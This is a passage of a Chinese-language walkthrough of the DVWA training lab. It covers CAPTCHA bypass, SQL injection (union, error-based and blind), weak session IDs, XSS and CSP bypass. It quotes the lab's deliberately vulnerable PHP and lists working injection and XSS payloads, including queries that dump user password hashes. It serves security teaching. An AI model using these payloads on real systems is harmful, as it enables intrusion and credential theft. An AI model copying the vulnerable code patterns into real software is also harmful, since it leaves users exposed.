// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
$html .= "<pre>Passwords did not match.</pre>";
$hide_form = false;
}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
高级
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
$html .= "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
高级我们分析增加了$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
这两个条件我们只需要将请求包中的数据进行更改即可。
6.4、总结
验证码常使用于防爆破的一种方式,但带来就是一些错误的验证逻辑,我们只需在验证码校验过程中使用后端校验,,以及在响应包中不能回显相关的信息。
七、SQL Injection(SQL注入)
7.1、界面展示
描述:sql注入是常年位居于owasp top10榜单中的一种漏洞,他的危害正如其名,可以将站点的数据库给拿出来;通常SQL注入按传输方式分为字符型和数字型,按照类型有cookie注入,http头部注入、堆叠注入、二次注入、报错注入、盲注等等方式;常用的利用工具sqlmap;椰树等
7.2、sql注入测试
通常我们测试注入时首先要明确是什么闭合方式,最简单的方式就是输入特殊字符看会不会报错输入=1'看到报错基本就可以断定是字符型注入了。我们使用1’ and 1=1# 和1' and 1=2#进行测试
基本断定就是了,通过有无回显我们基本可以却似那个使用union联合注入是可以尝试的
首先使用order by 判断数据库表有几个字段;判断完之后我们就可以使用常用的union 联合注入方式进行数据库,表、列的查看了。
7.2.1、判断回显位置
id=1' union select 1,2,3 limit 1,1 --+
id=-1' union select 1,2,3 --+
爆库名:id=-1' union select 1,database(),3 --+
爆表名: 21' union select 1,group_concat(table_name) from information_schema.tables where table_schema='root'#
爆列名:21' union select 1,group_concat(column_name) from information_schema.columns where table_schema='root' and table_name='users
查数据:21' union select 1,group_concat(user,0x5c,password) from root.users#
看到密码是MD5加密我们将admin账户的密码解密一下:123456
其他方式注入尝试:报错注入(可参考sql注入之报错注入_Dar1in9的博客-CSDN博客)
使用payload我们就能看到数据库名
1' and(select updatexml(1,concat(0x7e,(select database())),0x7e))#
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))#
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))#
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
7.3、代码分析
low.php
我们看到直接将id使用sql语句进行了查询,并将结果返回没有进行其他预防sql的操作。
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
medium.php
中级我们观察从GET请求转换为了POST请求;我们使用bp进行抓包测试;为数字型注入直接使用and 1=1#和and 1=2#进行闭合尝试即可。
SQL Injection Source
vulnerabilities/sqli/source/medium.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
测试payload;可进行尝试union联合注入和报错注入
100%20union%20select%201,database()#
高级
分析完基本没有变化大家可直接进行测试,判断完闭合方式为 ' and 1=1#和 ' and 1=2#来判断。
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
7.4、总结
sql注入的危害还是显而易见的常见的防御都会加入过滤一些危险的关键字如select、and、or等,常采用预编译技术来防止sql注入;除此之外注入的类型常见的如union联合注入,报错注入,盲注(时间、布尔),堆叠注入等。
八、SQL Injection(Blind盲注)
8.1、界面展示
描述:盲注的产生是由于输入数据进行查询时没有回显或者报错;这时我们想到的就是盲注。
布尔盲注尝试
payload:1' and 1=1# 和1' and 1=2#来判断注入类型和闭合方式
使用布尔(true or false)
判断数据库字符长度
1' and length(database())=1#
当为1' and length(database())=4#时页面返回正常
逐个猜解字符
1' and ascii(substr(database(),1,1))>97# (猜解第一个字符是大于ascii码97)
1' and ascii(substr(database(),2,1))>97# (猜解第二个字符)最后猜解出为数据库名为root
①猜解表的个数
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#
②猜解第一个表的表名长度
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#
③猜解表2的表名长度
1' and length(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=5#
④猜解表1名称
先猜解第一个字母,依旧是二分法逼近,最后得到是g
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#
⑤猜解表2名称
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117# 最终猜到表二的名称为user
- 猜解user表的字段1' and (select count(column_name) from information_schema.columns where table_name='users')=8#
猜解字段长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#
猜解字段名称1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117#
①猜测第一个用户的用户名为admin,则第一个字母为a,测试
1' and ascii(substr((select user from users limit 0,1),1,1))=97#第二个字母d1' and ascii(substr((select user from users limit 0,1),2,1))=100#第三个字母m1' and ascii(substr((select user from users limit 0,1),3,1))=109#
时间盲注()
- 判断数据库长度1' and if (length(database())=4,sleep(5),1)#
- 猜解表的个数1' and if((select count(table_name) from information_schema.tables where table_schema=‘root’)=2,sleep(5),1)#
得到表的个数2后,猜解第一个表的表名长度
1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9,sleep(5),1)#
猜解第二个表的长度
1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5,sleep(5),1)#
猜解表1表名
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103,sleep(5),1)#
猜解表2表名
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117,sleep(5),1)#
猜解表中有几个字段(users表)
1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)#
猜解数据1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#
//admin用户的a
8.2、代码分析
medium中级
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
观察代码没有进行过滤只是改为了POST请求我们只需要测试注入类型进行上述的操作步骤进行即可(判断为数字型注入)
高级(响应的时间进行了随机响应)
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
我们看到高级采用了随机时间响应问题的情况导致无法使用时间盲注 ;我们首先抓包进行注入形式判断
通过判断为字符型注入
使用1‘ and 1=1#和1' and 1=2#进行注入类型判断
8.3、总结
盲注的主要问题就是耗时较长;不通数据库常见数据库盲注语句如下:
一文搞定MySQL盲注-腾讯云开发者社区-腾讯云 (tencent.com)
Sql server注入分类之盲注(布尔-时间-OOB)_sql server 盲注_玖飞的博客-CSDN博客
Oracle手工盲注小结 - 简书 (jianshu.com)
九、Weak Session IDs(弱会话)
9.1、界面展示
描述:弱会话类型基本就是攻击者直接通过会话登录无需密码等手段。
Session利用的实质 :
由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权
限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。
Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用
了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存
在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验
9.2、会话控制测试
我们点击cenerate之后抓包看数据包;发现每点一次这里的dvwasession值会增加1;之后我们将其复制出来,换个浏览器,这里使用了火狐的hackbar直接加载路径后提交cookie为以下构造即可直接登录成功。
9.3、代码分析
中级
我们观察到dvwasession使用了时间属性,我们通过抓包即可看到bp直接给你转换好了,直接复制使用即可登录成功。
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
高级
我们分析是将dvwasession进行了MD5加密进行了传输,同中级一样我们将cookie中的进行替换为MD5加密即可登录成功。
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
9.4、总结
会话控制这部分一般结合的漏洞是越权访问问题,通过两个账号进行交叉访问某个功能来查看是否存在改问题;对于会话这部分,根据登录账户的不同我们使用随机的值,并增加了会话过期时间进行控制从而完成了对会话这部分安全性的考虑。
十、XSS(跨站脚本攻击)
10.1、界面展示
描述:针对跨站脚本攻击我们看见的界面展示就能告诉我们xss分为反射型xss,DOM型XSS,存储型xss,跨站脚本攻击一般用于获取用户登录凭证、键盘记录、钓鱼等。
10.2、漏洞测试
DOM型XSS(是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式,DOM-XSS简单理解就是不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。)
我们观察前端是要求选择语言,我们随意选择语言抓包发现default是我们可控的点,针对这个点我们进行xss测试
payload:<script>alert(/xss/)</script>
中级代码分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>我们看到中级代码过滤了<script;那么我们就使用其他的payload进行构造
</select><IMG src=javascript:alert('XSS')>
使用前提就是要将default进行标签闭合;右键点击检查看网页构成
高级代码分析
发现代码采用黑名单的形式将选项进行写死
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
直接构造payload:#<script>alert('xss')</script>即可
反射型XSS
又称非持久型XSS,攻击相对于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本。
我们看到代码并没有对传入做任何操作,直接可以构造payload:<script>alert(/xss/)</script>
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
中级分析
中级将<script>替换为空;可构造<img src=1 οnerrοr=alert(/xss/)>或者大写也可
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>![]()
高级分析
观察发现高级是匹配传输字段中script每个字符,忽略大小写;我们可构造.
<img src = 1 onerror = alert(/xss/)>
<svg onload=alert(/xss/)>
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
存储型XSS
存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码持续攻击用户。存储型XSS漏洞大多出现在留言板、评论区,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来
低级测试在name属于框输入<script>alert(/xss/)</script>还是message输入该payload都可以利用
name会限制输入字段大小可直接在前端进行更改。
中级分析
可以看出,中级将message进行了addslashes和htmlspecialchas操作,对那么进行了<script>替换为空操作,那么我们可直接在name处进行构造大小写<sCriPT>alert(/xsss/)</ScRipt>即可
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
高级分析
我们发现针对name只是做了匹配所有的script字符忽略大小写,那么我们可直接使用以下payload
<img src = 1 onerror = alert(/xss/)>
<svg onload=alert(/xss/)>
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
10.3、总结
XSS攻击的危害是显而易见的,所以一般我们防御该漏洞最主要的方式就是过滤用户输入的特殊字符如,<,>,',"或实体编码等,输出做编码、转义。常见的漏洞位置就在于传入参数的位置。
十一、CSP Bypass(CSP绕过)
11.1、界面展示
描述:这里是直接包含站点允许的地址进行访问,CSP (内容安全策略)以白名单的机制对网站加载或执行的资源起作用,在网页中策略通过 HTTP 头信息或者 meta 元素定义。CSP 虽然提供了强大的安全保护,但是它也令 eval() 及相关函数被禁用、内嵌的 JavaScript 代码将不会执行、只能通过白名单来加载远程脚本。如果要使用 CSP 技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的 JavaScript 代码和做一些调整。
11.2、测试
查看一下代码;$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
这部分的站点内容是允许进行include的
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
我们使用其中一个 https://pastebin.com进行尝试
11.3、源码分析
中级
HTTP 头信息中的 script-src 的合法来源发生了变化。script-src 还可以设置一些特殊值,unsafe-inline 允许执行页面内嵌的 <script> 标签和事件监听函数,nonce 值会在每次 HTTP 回应给出一个授权 token。
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
这样我们直接通过内部联用传入<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>即可
高级分析
通过代码分析:使用了白名单进行访问,参数控制就在下面url地址,我们只需控制solvesum改为alert('xss')进行尝试
source/jsonp.php?callback=solveSum
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
hegh.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
11.4、总结
内容安全策略(CSP)用于定义脚本和其他资源可以从何处加载或执行,我们只需在加载利用的路径上进行更改一下恶意链接即可进行攻击尝试,所以该漏洞一般是针对可信来源也要进行安全排查防止远程加载的危害。
十二、JavaScript
12.1、界面展示
描述:javascritp攻击一般是通过前端js泄露一些未未授权接口,以及一些敏感信息泄露,本处漏洞主要体现了前后端使用生成的MD5值不一致导致不成功。
12.2、测试
我们看到提示我们输入success就算是赢了;我们输入查看,输入后我们看到说token失效;抓包查看,连续几次都是同一个值,我们看一下源码
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,